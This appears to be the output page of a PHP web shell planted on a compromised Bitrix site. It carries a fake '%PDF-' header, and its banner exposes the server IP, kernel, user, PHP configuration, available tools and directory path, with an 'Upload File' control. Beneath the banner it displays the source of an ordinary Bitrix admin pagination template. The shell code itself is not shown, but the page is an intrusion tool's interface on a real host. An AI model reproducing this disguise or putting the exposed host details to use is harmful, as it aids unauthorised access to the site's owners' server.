%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 3.149.233.14 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/main.pagenavigation/templates/admin/ |
Upload File : |
<?if(!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED!==true)die(); /** @var array $arParams */ /** @var array $arResult */ /** @var CBitrixComponentTemplate $this */ /** @var PageNavigationComponent $component */ $component = $this->getComponent(); if($arParams["POST"]) { $navFunction = $arParams["TABLE_ID"].'.PostAdminList'; } else { $navFunction = $arParams["TABLE_ID"].'.GetAdminList'; } $showWait = "BX.addClass(this,'adm-nav-page-active');setTimeout(BX.delegate(function(){BX.addClass(this,'adm-nav-page-loading');this.innerHTML='';},this),500);"; ?> <?if($arResult["RECORD_COUNT"] > 0):?> <div class="adm-navigation"> <div class="adm-nav-pages-block"> <?if($arResult["CURRENT_PAGE"] > 1):?> <a class="adm-nav-page adm-nav-page-prev" href="javascript:void(0)" <?='onclick="'.htmlspecialcharsbx($navFunction."('".CUtil::JSEscape($component->replaceUrlTemplate($arResult["CURRENT_PAGE"]-1, $arResult["PAGE_SIZE"]))."');".$showWait).'"'?>></a> <?else:?> <span class="adm-nav-page adm-nav-page-prev"></span> <?endif;?> <? $page = 1; while($page <= $arResult["PAGE_COUNT"]): ?> <?if($page == $arResult["CURRENT_PAGE"]):?> <span class="adm-nav-page-active adm-nav-page"><?=$page?></span> <?else:?> <a href="javascript:void(0)" <?='onclick="'.htmlspecialcharsbx($navFunction."('".CUtil::JSEscape($component->replaceUrlTemplate($page, $arResult["PAGE_SIZE"]))."');".$showWait).'"'?> class="adm-nav-page"><?=$page?></a> <?endif;?> <? if($page == 2 && $arResult["START_PAGE"] > 3): if($arResult["START_PAGE"] - $page > 1): $middlePage = ceil(($arResult["START_PAGE"] + $page)/2); ?> <a href="javascript:void(0)" <?='onclick="'.htmlspecialcharsbx($navFunction."('".CUtil::JSEscape($component->replaceUrlTemplate($middlePage, $arResult["PAGE_SIZE"]))."');".$showWait).'"'?> class="adm-nav-page-separator"><?=$middlePage?></a> <? endif; $page = $arResult["START_PAGE"]; elseif($page == $arResult["END_PAGE"] && $arResult["END_PAGE"] < $arResult["PAGE_COUNT"] - 2): if($arResult["PAGE_COUNT"]-1 - $page > 1): $middlePage = floor(($arResult["PAGE_COUNT"] + $arResult["END_PAGE"] - 1)/2); ?> <a href="javascript:void(0)" <?='onclick="'.htmlspecialcharsbx($navFunction."('".CUtil::JSEscape($component->replaceUrlTemplate($middlePage, $arResult["PAGE_SIZE"]))."');".$showWait).'"'?> class="adm-nav-page-separator"><?=$middlePage?></a> <? endif; $page = $arResult["PAGE_COUNT"]-1; else: $page++; endif; ?> <?endwhile;?> <?if($arResult["CURRENT_PAGE"] < $arResult["PAGE_COUNT"]):?> <a class="adm-nav-page adm-nav-page-next" href="javascript:void(0)" <?='onclick="'.htmlspecialcharsbx($navFunction."('".CUtil::JSEscape($component->replaceUrlTemplate($arResult["CURRENT_PAGE"]+1, $arResult["PAGE_SIZE"]))."');".$showWait).'"'?>></a> <?else:?> <span class="adm-nav-page adm-nav-page-next"></span> <?endif;?> </div> <?if($arResult["RECORD_COUNT"] > 0):?> <div class="adm-nav-pages-total-block"><?=$arParams["TITLE"]." ".$arResult["FIRST_RECORD"]." – ".$arResult["LAST_RECORD"]?><?if($arParams["SHOW_COUNT"]) echo " ".GetMessage("navigation_records_of")." ".$arResult["RECORD_COUNT"];?></div> <?endif;?> <div class="adm-nav-pages-number-block"> <span class="adm-nav-pages-number"> <span class="adm-nav-pages-number-text"><?echo GetMessage("navigation_records")?></span> <span class="adm-select-wrap"> <select name="" class="adm-select" onchange=" if(this[selectedIndex].value=='0') { <?=htmlspecialcharsbx($navFunction."('".CUtil::JSEscape($component->replaceUrlTemplate("all"))."');")?> } else { <?=htmlspecialcharsbx($navFunction."('".CUtil::JSEscape($component->replaceUrlTemplate("1", "--size--"))."'.replace('--size--', this[selectedIndex].value));")?> } "> <?foreach($arResult["PAGE_SIZES"] as $size):?> <option value="<?echo $size?>"<?if($arResult["PAGE_SIZE"] == $size) echo ' selected="selected"'?>><?echo $size?></option> <?endforeach;?> <?if($arResult["SHOW_ALL"]):?> <option value="0"<?if($arResult["ALL_RECORDS"]) echo ' selected="selected"'?>><?echo GetMessage("navigation_records_all")?></option> <?endif;?> </select> </span> </span> </div> </div> <?endif;?> <?if (!isset($_REQUEST['admin_history'])):?> <? if (isset($_REQUEST["IFRAME"]) && $_REQUEST["IFRAME"] === "Y"): ?> <script type="text/javascript"> BX.adminHistory.put( '<?=CUtil::JSEscape($component->replaceUrlTemplate(($arResult["ALL_RECORDS"]? "all" : $arResult["CURRENT_PAGE"]), $arResult["PAGE_SIZE"]))?>', BX.proxy((<?=$navFunction?>)?<?=$navFunction?>:<?=$navFunction?>,parent.<?=$arParams["TABLE_ID"]?>), ['mode', 'table_id'] ); </script> <? else: ?> <script type="text/javascript"> top.BX.adminHistory.put( '<?=CUtil::JSEscape($component->replaceUrlTemplate(($arResult["ALL_RECORDS"]? "all" : $arResult["CURRENT_PAGE"]), $arResult["PAGE_SIZE"]))?>', top.BX.proxy((top.<?=$navFunction?>)?top.<?=$navFunction?>:<?=$navFunction?>,parent.<?=$arParams["TABLE_ID"]?>), ['mode', 'table_id'] ); </script> <? endif; ?> <?endif;?>